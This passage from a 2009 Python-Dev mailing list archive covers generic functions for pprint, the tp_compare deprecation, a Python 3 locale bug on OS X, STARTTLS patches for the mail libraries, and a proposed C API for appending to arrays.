> 3.0 had Unicode identifiers, but apparently it doesn't. (I used ?, not ...)

It does, but they may not contain characters of the category
"Punctuation, other":

>>> import unicodedata
>>> unicodedata.category("?")
'Po'

- Hagen

From rocky at gnu.org  Mon Feb  2 09:52:23 2009
From: rocky at gnu.org (Rocky Bernstein)
Date: Mon, 2 Feb 2009 03:52:23 -0500
Subject: [Python-Dev] Should there be a source-code checksum in module
	objects?
Message-ID: <6cd6de210902020052u7702e077sba6e832c6d43849f@mail.gmail.com>

As I've mentioned, I've been re-examining from ground up the whole
state of affairs in writing a debugger.

One of the challenges of a debugger or any source-code analysis tool
is verifying that the source-code that the tool is reporting on
corresponds to the compiled object under execution. (For debuggers,
this problem becomes more likely to occur when you are debugging on a
computer that isn't the same as the computer where the code is
running.)

Is there a checksum of the source text computed and stored in
compilation? If not, should there be one?

From ncoghlan at gmail.com  Mon Feb  2 11:31:05 2009
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Mon, 02 Feb 2009 20:31:05 +1000
Subject: [Python-Dev] pprint(iterator)
In-Reply-To: <4986AFBC.3050701@livinglogic.de>
References: <306DE7912FCF48AD9E1F77481B3617BC@RaymondLaptop1>		<20090129142021.GA8996@panix.com>	<4981BBB7.50502@voidspace.org.uk>	
	<498230C7.2040403@pearwood.info>	<498272CB.5040503@ronadam.com>	
	<gltvj2$fpk$1@ger.gmane.org>	<4982A51B.5020801@trueblade.com>	
	<4982DEC8.90900@pearwood.info>		<79990c6b0901300402i5d93aa3br57a2bbf5ad57a52b@mail.gmail.com>		<49830FB1.3060306@livinglogic.de>	<79990c6b0901300651m4e27bdd9i7c7b2484ab0353bd@mail.gmail.com>
	<4986AFBC.3050701@livinglogic.de>
Message-ID: <4986CB69.3020501@gmail.com>

Walter D?rwald wrote:
> Paul Moore wrote:
>> 2009/1/30 Walter D?rwald <walter at livinglogic.de>:
>>> Paul Moore wrote:
>>>
>>>> [...]
>>>> In all honesty, I think pkgutil.simplegeneric should be documented,
>>>> exposed, and moved to a library of its own[1].
>>> http://pypi.python.org/pypi/simplegeneric
>>
>> Thanks, I was aware of that.
> 
> I wasn't aware of the fact that simplegeneric is part of the stdlib,
> albeit in a strange spot.

Officially, it isn't - it's an implementation detail of pkgutil. As
such, a leading underscore wouldn't have hurt, but the lack of mention
in the pkgutil documentation (or pkgutil.__all__) is hopefully enough of
a hint that it really isn't intended as a general purpose programming tool.

>> I assume that the barrier to getting this
>> into the stdlib will be higher than to simply exposing an
>> implementation already available in the stdlib.
> 
> At least we'd need documentation and tests. And of course the code must
> be stable and there must be someone willing to maintain it (then again
> it's less than 40 lines of code).
> 
> There should be enough third-party module that use it to justify making
> simplegeneric an official part of the stdlib.
> 
> The best spot for generic() is probably in the functools module.

>> To be honest, all I
>> would like is for these regular "let's have another special method"
>> discussions to become unnecessary...
> 
> Me too.

A trio of patches that:
1. promoted simplegeneric from pkgutil to functools (with appropriate
documentation and tests)
2. changed pkgutil to use functools.simplegeneric instead of its current
 internal version
3. updated pprint to be a generic function (and hence more easily
extensible via the ABC mechanism, while still keeping it's current
special cases as necessary)

would certainly be an interesting thing to see (with patch 3 being the
poster child for why patch 1 is a good idea).

The major virtue of such a basic generic framework is that it is much
easier to explain than the all-singing all-dancing overloading system
described in PEP 3124. Type-based dispatch on the first argument is
fairly straightforward to describe in terms that make sense to anyone
that is already familiar with dynamic dispatch of class and instance
methods. It's only when you get into more exotic dispatch conditions and
up-calls and the like that people's eyes start to glaze over.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia
---------------------------------------------------------------

From ncoghlan at gmail.com  Mon Feb  2 11:36:29 2009
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Mon, 02 Feb 2009 20:36:29 +1000
Subject: [Python-Dev] python 3.0, tp_compare not used for == test?
In-Reply-To: <gm65a3$c1$1@ger.gmane.org>
References: <7c1ab96d0902012112t1e3854dbye1483c6577086a93@mail.gmail.com>
	<gm65a3$c1$1@ger.gmane.org>
Message-ID: <4986CCAD.1020904@gmail.com>

Terry Reedy wrote:
> Campbell Barton wrote:
> In 3.0, the build-in cmp() should have been removed and will be for
> 3.0.1.  Do not use it.  I believe the tp_compare slot should not be used
> either.  It will become reserved.  It will not be removed only because
> that would change the binary layout.

I'm wondering if Mark should add the exception he recently removed back
in as a Deprecation Warning when tp_compare is defined, but
tp_richcompare is not. Such a warning should also be present when
running with -3 in 2.7 (assuming it isn't already there).

Otherwise we're going to get more questions like Campbell's wondering if
it is intentional that tp_compare is no longer getting called in the 3.x
series (the warnings would both make it explicit and give guidance on
what to do about it).

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia
---------------------------------------------------------------

From reto-ml-python-dev at schuettel.ch  Mon Feb  2 11:40:45 2009
From: reto-ml-python-dev at schuettel.ch (Reto Schuettel)
Date: Mon, 2 Feb 2009 11:40:45 +0100
Subject: [Python-Dev] Strange locale problem with Python 3
In-Reply-To: <4CC4F4BD-EC5B-434C-9EB4-B4381715F2D7@schuettel.ch>
References: <4CC4F4BD-EC5B-434C-9EB4-B4381715F2D7@schuettel.ch>
Message-ID: <20090202104045.GA16318@bounty.schuettel.ch>


Sorry!

Somehow my mailclient managed to mess up my message, here
another copy of it, hopefully in better conditions than last
time.

Aahz: Good idea, I've created a bug report. Bug ID 5125

Hi

While helping Brandon Rhodes to port PyEphem[1] to Python 3 we
struggled over a strange locale-related problem on OS X. PyEphem
is a library which can do astronomical computations like
tracking the position of stars, planets and earth satellites
relative to the earth's position. When testing out the Python 3
release of PyEphem I noticed that on my OS X laptop a lot of
calculations were wrong (not completely wrong, but clearly not
accurate) compared to Python 2.5. We (well mostly Brandon) were
able to track down the problem to the TLE parser (TLE are data
file containing the orbital elements of an object) which appears
to read most values wrong with python 3. In fact it cut of the
decimal parts of all floats (1.123232 got 1, etc). Manually
setting LANG and LC_ALL to C solved the problem.

It turns out that some parts of Python 3 got more locale
dependent on some platforms. The only platform I am aware of is
OS X, on Linux Python 3 appears to behave like Python 2.x did.

In case of PyEphem the problem was in the C extension which got
more locale dependent, for example atof() or scanf() with Python
3 now expected the german decimal-delimiter ',' instead of the
'.' in floats (3.14 vs. 3,14). On the other hand the constructor
of float still expects '.' all the time. But the built-in
function strptime() honors locales with Python 3 and expects
german week day.

I've written a simple script and a simple C extension which
illustrates the problem. Both the extension and the script run
python 2.x and python 3, so you can easily compare the result
while executing the script in different environments.

I was only able to reproduce the problem on OS X (10.5) and using
a german locale like "de_CH.UTF-8". When manually setting
LC_ALL=C, the differences disappears.

I can't imagine that his behavior was really intended, and I hope
the test case helps you guys to identify/fix this problem.

Download the test case from:
http://github.com/retoo/py3k-locale-problem/tarball/master
or get it using git:
git://github.com/retoo/py3k-locale-problem.git

You can use the following steps to build it:

$ python2.5 setup.py build
$ python3.0 setup.py build

To run the tests with python 2.5, enter:
$ (cd build/lib*-2.5; python2.5 py3k_locale_problem.py)
... for 3.0 ...
$ (cd build/lib*-3.0; python3.0 py3k_locale_problem.py)

In the file 'results.txt' you can see the output from my OS X
system.

Cheers,
Reto Schuettel

[1] http://rhodesmill.org/pyephem/

From p.f.moore at gmail.com  Mon Feb  2 11:43:22 2009
From: p.f.moore at gmail.com (Paul Moore)
Date: Mon, 2 Feb 2009 10:43:22 +0000
Subject: [Python-Dev] pprint(iterator)
In-Reply-To: <4986CB69.3020501@gmail.com>
References: <306DE7912FCF48AD9E1F77481B3617BC@RaymondLaptop1>
	<498272CB.5040503@ronadam.com> <gltvj2$fpk$1@ger.gmane.org>
	<4982A51B.5020801@trueblade.com> <4982DEC8.90900@pearwood.info>
	<79990c6b0901300402i5d93aa3br57a2bbf5ad57a52b@mail.gmail.com>
	<49830FB1.3060306@livinglogic.de>
	<79990c6b0901300651m4e27bdd9i7c7b2484ab0353bd@mail.gmail.com>
	<4986AFBC.3050701@livinglogic.de> <4986CB69.3020501@gmail.com>
Message-ID: <79990c6b0902020243h293394bel38055637e9bf425f@mail.gmail.com>

2009/2/2 Nick Coghlan <ncoghlan at gmail.com>:
> A trio of patches that:
> 1. promoted simplegeneric from pkgutil to functools (with appropriate
> documentation and tests)
> 2. changed pkgutil to use functools.simplegeneric instead of its current
>  internal version
> 3. updated pprint to be a generic function (and hence more easily
> extensible via the ABC mechanism, while still keeping it's current
> special cases as necessary)
>
> would certainly be an interesting thing to see (with patch 3 being the
> poster child for why patch 1 is a good idea).

I'll see what I can do. I can't promise much for (3) as I don't
personally have a need for it, so my understanding of the use cases is
limited at best. But (1) and (2) should be possible.

Can I assign the patches to you (for review, at least)?

> The major virtue of such a basic generic framework is that it is much
> easier to explain than the all-singing all-dancing overloading system
> described in PEP 3124. Type-based dispatch on the first argument is
> fairly straightforward to describe in terms that make sense to anyone
> that is already familiar with dynamic dispatch of class and instance
> methods. It's only when you get into more exotic dispatch conditions and
> up-calls and the like that people's eyes start to glaze over.

Agreed. And given that the simple case probably covers 90% of the
practical requirements, that's a shame.

Paul.

From ncoghlan at gmail.com  Mon Feb  2 12:01:46 2009
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Mon, 02 Feb 2009 21:01:46 +1000
Subject: [Python-Dev] pprint(iterator)
In-Reply-To: <79990c6b0902020243h293394bel38055637e9bf425f@mail.gmail.com>
References: <306DE7912FCF48AD9E1F77481B3617BC@RaymondLaptop1>	
	<498272CB.5040503@ronadam.com> <gltvj2$fpk$1@ger.gmane.org>	
	<4982A51B.5020801@trueblade.com> <4982DEC8.90900@pearwood.info>	
	<79990c6b0901300402i5d93aa3br57a2bbf5ad57a52b@mail.gmail.com>	
	<49830FB1.3060306@livinglogic.de>	
	<79990c6b0901300651m4e27bdd9i7c7b2484ab0353bd@mail.gmail.com>	
	<4986AFBC.3050701@livinglogic.de> <4986CB69.3020501@gmail.com>
	<79990c6b0902020243h293394bel38055637e9bf425f@mail.gmail.com>
Message-ID: <4986D29A.1010304@gmail.com>

Paul Moore wrote:
> 2009/2/2 Nick Coghlan <ncoghlan at gmail.com>:
>> A trio of patches that:
>> 1. promoted simplegeneric from pkgutil to functools (with appropriate
>> documentation and tests)
>> 2. changed pkgutil to use functools.simplegeneric instead of its current
>>  internal version
>> 3. updated pprint to be a generic function (and hence more easily
>> extensible via the ABC mechanism, while still keeping it's current
>> special cases as necessary)
>>
>> would certainly be an interesting thing to see (with patch 3 being the
>> poster child for why patch 1 is a good idea).
> 
> I'll see what I can do. I can't promise much for (3) as I don't
> personally have a need for it, so my understanding of the use cases is
> limited at best. But (1) and (2) should be possible.
> 
> Can I assign the patches to you (for review, at least)?

Sure - I've had plenty to do with functools in the past, and will no
doubt have plenty to do with it in the future.

Given that I believe Guido was one of the folks whose brain was hurt by
PJE's attempts to explain PEP 3124, I'll be bringing the discussion back
here before committing anything though :)

(and don't worry too much about 3 - it will give me an opportunity to
road test the functools patch by using it to refactor pprint and check
the performance implications)

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia
---------------------------------------------------------------

From dickinsm at gmail.com  Mon Feb  2 12:15:19 2009
From: dickinsm at gmail.com (Mark Dickinson)
Date: Mon, 2 Feb 2009 11:15:19 +0000
Subject: [Python-Dev] python 3.0, tp_compare not used for == test?
In-Reply-To: <4986CCAD.1020904@gmail.com>
References: <7c1ab96d0902012112t1e3854dbye1483c6577086a93@mail.gmail.com>
	<gm65a3$c1$1@ger.gmane.org> <4986CCAD.1020904@gmail.com>
Message-ID: <5c6f2a5d0902020315x3d7dcb5bk49e5226c86ccb246@mail.gmail.com>

On Mon, Feb 2, 2009 at 10:36 AM, Nick Coghlan <ncoghlan at gmail.com> wrote:
> I'm wondering if Mark should add the exception he recently removed back
> in as a Deprecation Warning when tp_compare is defined, but
> tp_richcompare is not.

This sounds reasonable to me.  A third-party module that implements
tp_compare but not tp_richcompare is almost certainly not going to be
giving the behaviour that its author intended, after 3.0.1.

Currently, the only warning that such an author gets is a possible
compiler warning about incompatible pointer types (type of
tp_compare versus type of tp_reserved), should he/she
happen to recompile and be watching the compiler output closely.

> Such a warning should also be present when
> running with -3 in 2.7 (assuming it isn't already there).

I'm not sure how/whether that would work, given that there are
probably still plenty of 2.7 modules in the distribution that
(quite legitimately) define tp_compare but not tp_richcompare.

Mark

From ncoghlan at gmail.com  Mon Feb  2 12:38:19 2009
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Mon, 02 Feb 2009 21:38:19 +1000
Subject: [Python-Dev] python 3.0, tp_compare not used for == test?
In-Reply-To: <5c6f2a5d0902020315x3d7dcb5bk49e5226c86ccb246@mail.gmail.com>
References: <7c1ab96d0902012112t1e3854dbye1483c6577086a93@mail.gmail.com>	
	<gm65a3$c1$1@ger.gmane.org> <4986CCAD.1020904@gmail.com>
	<5c6f2a5d0902020315x3d7dcb5bk49e5226c86ccb246@mail.gmail.com>
Message-ID: <4986DB2B.5040400@gmail.com>

Mark Dickinson wrote:
> On Mon, Feb 2, 2009 at 10:36 AM, Nick Coghlan <ncoghlan at gmail.com> wrote:
>> Such a warning should also be present when
>> running with -3 in 2.7 (assuming it isn't already there).
> 
> I'm not sure how/whether that would work, given that there are
> probably still plenty of 2.7 modules in the distribution that
> (quite legitimately) define tp_compare but not tp_richcompare.

That's what the -3 command line switch is for - it sets a boolean flag
that C code can check to see if it should emit warnings for things that
are going to break in Python 3.x. There's already at least one example
of its use in typeobject.c (relating to inheritance of the tp_hash
slot). There are a few other examples about the place (e.g. I believe
that when -3 is defined the return value of dict.keys and friends is
changed to a list subclass that warns on certain operations that have
different semantics in 3.x).

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia
---------------------------------------------------------------

From dickinsm at gmail.com  Mon Feb  2 13:10:39 2009
From: dickinsm at gmail.com (Mark Dickinson)
Date: Mon, 2 Feb 2009 12:10:39 +0000
Subject: [Python-Dev] python 3.0, tp_compare not used for == test?
In-Reply-To: <4986DB2B.5040400@gmail.com>
References: <7c1ab96d0902012112t1e3854dbye1483c6577086a93@mail.gmail.com>
	<gm65a3$c1$1@ger.gmane.org> <4986CCAD.1020904@gmail.com>
	<5c6f2a5d0902020315x3d7dcb5bk49e5226c86ccb246@mail.gmail.com>
	<4986DB2B.5040400@gmail.com>
Message-ID: <5c6f2a5d0902020410v70a7e5e8tab1b233c379c48ec@mail.gmail.com>

On Mon, Feb 2, 2009 at 11:38 AM, Nick Coghlan <ncoghlan at gmail.com> wrote:
> That's what the -3 command line switch is for - it sets a boolean flag
> that C code can check to see if it should emit warnings for things that
> are going to break in Python 3.x.

Understood.  My worry was that we'd get a lot of false positives---
i.e., warnings about pieces of Python 2.7 that don't need to change.
But I guess that's okay.

> There's already at least one example
> of its use in typeobject.c (relating to inheritance of the tp_hash
> slot). There are a few other examples about the place (e.g. I believe
> that when -3 is defined the return value of dict.keys and friends is
> changed to a list subclass that warns on certain operations that have
> different semantics in 3.x).

Thanks for the pointers.  I'll take a look and see if I can come up
with a patch.  But I'd like to complete the rest of the cmp removal
stuff first.

Mark

From lorenzo at sancho.ccd.uniroma2.it  Mon Feb  2 12:48:09 2009
From: lorenzo at sancho.ccd.uniroma2.it (Lorenzo M. Catucci)
Date: Mon, 2 Feb 2009 12:48:09 +0100 (CET)
Subject: [Python-Dev] mail libraries streamlined support for ssl and
	starttls [2nd try!]
In-Reply-To: <alpine.DEB.1.10.0902021217480.1815@sancho.ccd.uniroma2.it>
References: <alpine.DEB.1.10.0902021217480.1815@sancho.ccd.uniroma2.it>
Message-ID: <alpine.DEB.1.10.0902021244530.2770@sancho.ccd.uniroma2.it>

Sorry for being a pest here...

<added_on_second_post>
  and for forgetting to put pointers to the issues in the previous 
  attempt... the issues on bugs.python.org are:

  http://bugs.python.org/issue4470   -  smtplib SMTP_SSL not working
  http://bugs.python.org/issue4471   -  IMAP4 missing support for starttls
  http://bugs.python.org/issue4473   -  POP3 missing support for starttls
</added_on_second_post>

still, I'd be grateful if someone could please try and take look at the patches
I've posted on bugs.python.org for smtplib, imaplib and poplib, since I think
they could be useful for a future 2.x release of the standard library, and I've
verified they port almost as they are to python3.

They are almost stupid, I know; still, smtp over ssl in the standard library is
not working, and the starttls method is declared as being the preferred one
since RFC 2595 time...

"""7. imaps and pop3s ports

   Separate "imaps" and "pop3s" ports were registered for use with SSL.
   Use of these ports is discouraged in favor of the STARTTLS or STLS
   commands.
   [...]
"""

Thank you all very much... (once more!), yours,

	lorenzo


+-------------------------+----------------------------------------------+
|   Lorenzo M.  Catucci   | Centro di Calcolo e Documentazione           |
| catucci at ccd.uniroma2.it | Universit? degli Studi di Roma "Tor Vergata" |
|                         | Via O. Raimondo 18 ** I-00173 ROMA  ** ITALY |
|  Tel. +39 06 7259 2255  | Fax. +39 06 7259 2125                        |
+-------------------------+----------------------------------------------+

From lorenzo at sancho.ccd.uniroma2.it  Mon Feb  2 12:43:52 2009
From: lorenzo at sancho.ccd.uniroma2.it (Lorenzo M. Catucci)
Date: Mon, 2 Feb 2009 12:43:52 +0100 (CET)
Subject: [Python-Dev] mail libraries streamlined support for ssl and starttls
Message-ID: <alpine.DEB.1.10.0902021217480.1815@sancho.ccd.uniroma2.it>

Sorry for being a pest here...

still, I'd be grateful if someone could please try and take look at the 
patches I've posted on bugs.python.org for smtplib, imaplib and poplib, 
since I think they could be useful for a future 2.x release of the 
standard library, and I've verified they port almost as they are to 
python3.

They are almost stupid, I know; still, smtp over ssl in the standard 
library is not working, and the starttls method is declared as being the 
preferred one since RFC 2595 time...

"""7. imaps and pop3s ports

    Separate "imaps" and "pop3s" ports were registered for use with SSL.
    Use of these ports is discouraged in favor of the STARTTLS or STLS
    commands.
    [...]
"""

Thank you all very much... Yours,

 	lorenzo


+-------------------------+----------------------------------------------+
|   Lorenzo M.  Catucci   | Centro di Calcolo e Documentazione           |
| catucci at ccd.uniroma2.it | Universit? degli Studi di Roma "Tor Vergata" |
|                         | Via O. Raimondo 18 ** I-00173 ROMA  ** ITALY |
|  Tel. +39 06 7259 2255  | Fax. +39 06 7259 2125                        |
+-------------------------+----------------------------------------------+

From tseaver at palladion.com  Mon Feb  2 14:00:56 2009
From: tseaver at palladion.com (Tres Seaver)
Date: Mon, 02 Feb 2009 08:00:56 -0500
Subject: [Python-Dev] pprint(iterator)
In-Reply-To: <4986D29A.1010304@gmail.com>
References: <306DE7912FCF48AD9E1F77481B3617BC@RaymondLaptop1>		<498272CB.5040503@ronadam.com>
	<gltvj2$fpk$1@ger.gmane.org>		<4982A51B.5020801@trueblade.com>
	<4982DEC8.90900@pearwood.info>		<79990c6b0901300402i5d93aa3br57a2bbf5ad57a52b@mail.gmail.com>		<49830FB1.3060306@livinglogic.de>		<79990c6b0901300651m4e27bdd9i7c7b2484ab0353bd@mail.gmail.com>		<4986AFBC.3050701@livinglogic.de>
	<4986CB69.3020501@gmail.com>	<79990c6b0902020243h293394bel38055637e9bf425f@mail.gmail.com>
	<4986D29A.1010304@gmail.com>
Message-ID: <4986EE88.3030206@palladion.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Nick Coghlan wrote:
> Paul Moore wrote:
>> 2009/2/2 Nick Coghlan <ncoghlan at gmail.com>:
>>> A trio of patches that:
>>> 1. promoted simplegeneric from pkgutil to functools (with appropriate
>>> documentation and tests)
>>> 2. changed pkgutil to use functools.simplegeneric instead of its current
>>>  internal version
>>> 3. updated pprint to be a generic function (and hence more easily
>>> extensible via the ABC mechanism, while still keeping it's current
>>> special cases as necessary)
>>>
>>> would certainly be an interesting thing to see (with patch 3 being the
>>> poster child for why patch 1 is a good idea).
>> I'll see what I can do. I can't promise much for (3) as I don't
>> personally have a need for it, so my understanding of the use cases is
>> limited at best. But (1) and (2) should be possible.
>>
>> Can I assign the patches to you (for review, at least)?
> 
> Sure - I've had plenty to do with functools in the past, and will no
> doubt have plenty to do with it in the future.
> 
> Given that I believe Guido was one of the folks whose brain was hurt by
> PJE's attempts to explain PEP 3124, I'll be bringing the discussion back
> here before committing anything though :)
> 
> (and don't worry too much about 3 - it will give me an opportunity to
> road test the functools patch by using it to refactor pprint and check
> the performance implications)

/me wonders about the performance-criticality of anything using
'pprint'.   Or were you just planning to use it as a means to benchmark
the 'simplegeneric' stuff?  I would think something with a lot lower
intrinsic overhead would be a better benchmark target.


Tres.
- --
===================================================================
Tres Seaver          +1 540-429-0999          tseaver at palladion.com
Palladion Software   "Excellence by Design"    http://palladion.com
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFJhu6I+gerLs4ltQ4RAvdcAJ4mFTcdfgG7ZVvdKXulIw+fWgLJxwCeOrTO
9rriK3+zyl4K63doUjbckF4=
=++qD
-----END PGP SIGNATURE-----

From tseaver at palladion.com  Mon Feb  2 14:00:56 2009
From: tseaver at palladion.com (Tres Seaver)
Date: Mon, 02 Feb 2009 08:00:56 -0500
Subject: [Python-Dev] pprint(iterator)
In-Reply-To: <4986D29A.1010304@gmail.com>
References: <306DE7912FCF48AD9E1F77481B3617BC@RaymondLaptop1>		<498272CB.5040503@ronadam.com>
	<gltvj2$fpk$1@ger.gmane.org>		<4982A51B.5020801@trueblade.com>
	<4982DEC8.90900@pearwood.info>		<79990c6b0901300402i5d93aa3br57a2bbf5ad57a52b@mail.gmail.com>		<49830FB1.3060306@livinglogic.de>		<79990c6b0901300651m4e27bdd9i7c7b2484ab0353bd@mail.gmail.com>		<4986AFBC.3050701@livinglogic.de>
	<4986CB69.3020501@gmail.com>	<79990c6b0902020243h293394bel38055637e9bf425f@mail.gmail.com>
	<4986D29A.1010304@gmail.com>
Message-ID: <4986EE88.3030206@palladion.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Nick Coghlan wrote:
> Paul Moore wrote:
>> 2009/2/2 Nick Coghlan <ncoghlan at gmail.com>:
>>> A trio of patches that:
>>> 1. promoted simplegeneric from pkgutil to functools (with appropriate
>>> documentation and tests)
>>> 2. changed pkgutil to use functools.simplegeneric instead of its current
>>>  internal version
>>> 3. updated pprint to be a generic function (and hence more easily
>>> extensible via the ABC mechanism, while still keeping it's current
>>> special cases as necessary)
>>>
>>> would certainly be an interesting thing to see (with patch 3 being the
>>> poster child for why patch 1 is a good idea).
>> I'll see what I can do. I can't promise much for (3) as I don't
>> personally have a need for it, so my understanding of the use cases is
>> limited at best. But (1) and (2) should be possible.
>>
>> Can I assign the patches to you (for review, at least)?
> 
> Sure - I've had plenty to do with functools in the past, and will no
> doubt have plenty to do with it in the future.
> 
> Given that I believe Guido was one of the folks whose brain was hurt by
> PJE's attempts to explain PEP 3124, I'll be bringing the discussion back
> here before committing anything though :)
> 
> (and don't worry too much about 3 - it will give me an opportunity to
> road test the functools patch by using it to refactor pprint and check
> the performance implications)

/me wonders about the performance-criticality of anything using
'pprint'.   Or were you just planning to use it as a means to benchmark
the 'simplegeneric' stuff?  I would think something with a lot lower
intrinsic overhead would be a better benchmark target.


Tres.
- --
===================================================================
Tres Seaver          +1 540-429-0999          tseaver at palladion.com
Palladion Software   "Excellence by Design"    http://palladion.com
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFJhu6I+gerLs4ltQ4RAvdcAJ4mFTcdfgG7ZVvdKXulIw+fWgLJxwCeOrTO
9rriK3+zyl4K63doUjbckF4=
=++qD
-----END PGP SIGNATURE-----


From mal at egenix.com  Mon Feb  2 14:40:55 2009
From: mal at egenix.com (M.-A. Lemburg)
Date: Mon, 02 Feb 2009 14:40:55 +0100
Subject: [Python-Dev] Strange locale problem with Python 3
In-Reply-To: <4CC4F4BD-EC5B-434C-9EB4-B4381715F2D7@schuettel.ch>
References: <4CC4F4BD-EC5B-434C-9EB4-B4381715F2D7@schuettel.ch>
Message-ID: <4986F7E7.9020305@egenix.com>

On 2009-02-01 19:44, Reto Sch?ttel wrote:
> Hi
> 
> While helping Brandon Rhodes to port PyEphem[1] to Python 3 we struggled
> over a
> strange locale-related problem on OS X. PyEphem is a library which can do
> astronomical computations like tracking the position of stars, planets and
> earth satellites relative to the earth's position. When testing out the
> Python
> 3 release of PyEphem I noticed that on my OS X laptop a lot of calculations
> were wrong (not completely wrong, but clearly not accurate) compared to
> Python
> 2.5. We (well mostly Brandon) were able to track down the problem to the
> TLE
> parser (TLE are data file containing the orbital elements of an object)
> which
> appears to read most values wrong with python 3. In fact it cut of the
> decimal
> parts of all floats (1.123232 got 1, etc). Manually setting LANG and
> LC_ALL to
> C solved the problem.
> 
> It turns out that some parts of Python 3 got more locale dependent on some
> platforms. The only platform I am aware of is OS X, on Linux Python 3
> appears
> to behave like Python 2.x did.

This is probably due to the unconditional call to setlocale() in
pythonrun.c:

        /* Set up the LC_CTYPE locale, so we can obtain
           the locale's charset without having to switch
           locales. */
        setlocale(LC_CTYPE, "");

In Python 2, no such call is made and as a result the C lib defaults
to the "C" locale.

Calling setlocale() in an application is always dangerous due to the
many side-effects this can have on the C lib parsing and formatting
APIs.

If this is done just to figure the environment's locale settings,
then it's better to reset the locale to the one that was active
before the setlocale() call. Python 2 uses this approach. Python 3
does not.

> In case of PyEphem the problem was in the C extension which got more locale
> dependent, for example atof() or scanf() with Python 3 now expected the
> german
> decimal-delimiter ',' instead of the '.' in floats (3.14 vs. 3,14). On the
> other hand the constructor of float still expects '.' all the time. But the
> built-in function strptime() honors locales with Python 3 and expects
> german
> week day.
> 
> I've written a simple script and a simple C extension which illustrates the
> problem. Both the extension and the script run python 2.x and python 3,
> so you
> can easily compare the result while executing the script in different
> environments.
> 
> I was only able to reproduce the problem on OS X (10.5) and using a german
> locale like "de_CH.UTF-8". When manually setting LC_ALL=C, the differences
> disappears.
> 
> I can't imagine that his behavior was really intended, and I hope the
> test case
> helps you guys to identify/fix this problem.
> 
> Download the test case from:
> http://github.com/retoo/py3k-locale-problem/tarball/master
> or get it using git:
> git://github.com/retoo/py3k-locale-problem.git
> 
> You can use the following steps to build it:
> 
> $ python2.5 setup.py build
> $ python3.0 setup.py build
> 
> To run the tests with python 2.5, enter:
> $ (cd build/lib*-2.5; python2.5 py3k_locale_problem.py)
> ... for 3.0  ...
> $ (cd build/lib*-3.0; python3.0 py3k_locale_problem.py)
> 
> In the file 'results.txt' you can see the output from my OS X system.
> 
> Cheers,
> Reto Sch?ttel
> 
> [1] http://rhodesmill.org/pyephem/

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Services directly from the Source  (#1, Feb 02 2009)
>>> Python/Zope Consulting and Support ...        http://www.egenix.com/
>>> mxODBC.Zope.Database.Adapter ...             http://zope.egenix.com/
>>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________

::: Try our new mxODBC.Connect Python Database Interface for free ! ::::


   eGenix.com Software, Skills and Services GmbH  Pastor-Loeh-Str.48
    D-40764 Langenfeld, Germany. CEO Dipl.-Math. Marc-Andre Lemburg
           Registered at Amtsgericht Duesseldorf: HRB 46611
               http://www.egenix.com/company/contact/

From hrvoje.niksic at avl.com  Mon Feb  2 18:21:48 2009
From: hrvoje.niksic at avl.com (Hrvoje Niksic)
Date: Mon, 02 Feb 2009 18:21:48 +0100
Subject: [Python-Dev] C API for appending to arrays
Message-ID: <49872BAC.8040005@avl.com>

The array.array type is an excellent type for storing a large amount of 
"native" elements, such as integers, chars, doubles, etc., without 
involving the heavy machinery of numpy.  It's both blazingly fast and 
reasonably efficient with memory.  The one thing missing from the array 
module is the ability to directly access array values from C.

This might seem superfluous, as it's perfectly possible to manipulate 
array contents from Python/C using PyObject_CallMethod and friends.  The 
problem is that it requires the native values to be marshalled to Python 
objects, only to be immediately converted back to native values by the 
array code.  This can be a problem when, for example, a numeric array 
needs to be filled with contents, such as in this hypothetical example:

/* error checking and refcounting subtleties omitted for brevity */
PyObject *load_data(Source *src)
{
   PyObject *array_type = get_array_type();
   PyObject *array = PyObject_CallFunction(array_type, "c", 'd');
   PyObject *append = PyObect_GetAttrString(array, "append");
   while (!source_done(src)) {
     double num = source_next(src);
     PyObject *f = PyFloat_FromDouble(num);
     PyObject *ret = PyObject_CallFunctionObjArgs(append, f, NULL);
     if (!ret)
       return NULL;
     Py_DECREF(ret);
     Py_DECREF(f);
   }
   Py_DECREF(array_type);
   return array;
}

The inner loop must convert each C double to a Python Float, only for 
the array to immediately extract the double back from the Float and 
store it into the underlying array of C doubles.  This may seem like a 
nitpick, but it turns out that more than half of the time of this 
function is spent creating and deleting those short-lived floating-point 
objects.

Float creation is already well-optimized, so opportunities for speedup 
lie elsewhere.  The array object exposes a writable buffer, which can be 
used to store values directly.  For test purposes I created a faster 
"append" specialized for doubles, defined like this:

int array_append(PyObject *array, PyObject *appendfun, double val)
{
   PyObject *ret;
   double *buf;
   Py_ssize_t bufsize;
   static PyObject *zero;
   if (!zero)
     zero = PyFloat_FromDouble(0);

   // append dummy zero value, created only once
   ret = PyObject_CallFunctionObjArgs(appendfun, zero, NULL);
   if (!ret)
     return -1;
   Py_DECREF(ret);

   // append the element directly at the end of the C buffer
   PyObject_AsWriteBuffer(array, (void **) &buf, &bufsize));
   buf[bufsize / sizeof(double) - 1] = val;
   return 0;
}

This hack actually speeds up array creation by a significant percentage 
(30-40% in my case, and that's for code that was producing the values by 
parsing a large text file).

It turns out that an even faster method of creating an array is by using 
the fromstring() method.  fromstring() requires an actual string, not a 
buffer, so in C++ I created an std::vector<double> with a contiguous 
array of doubles, passed that array to PyString_FromStringAndSize, and 
called array.fromstring with the resulting string.  Despite all the 
unnecessary copying, the result was much faster than either of the 
previous versions.


Would it be possible for the array module to define a C interface for 
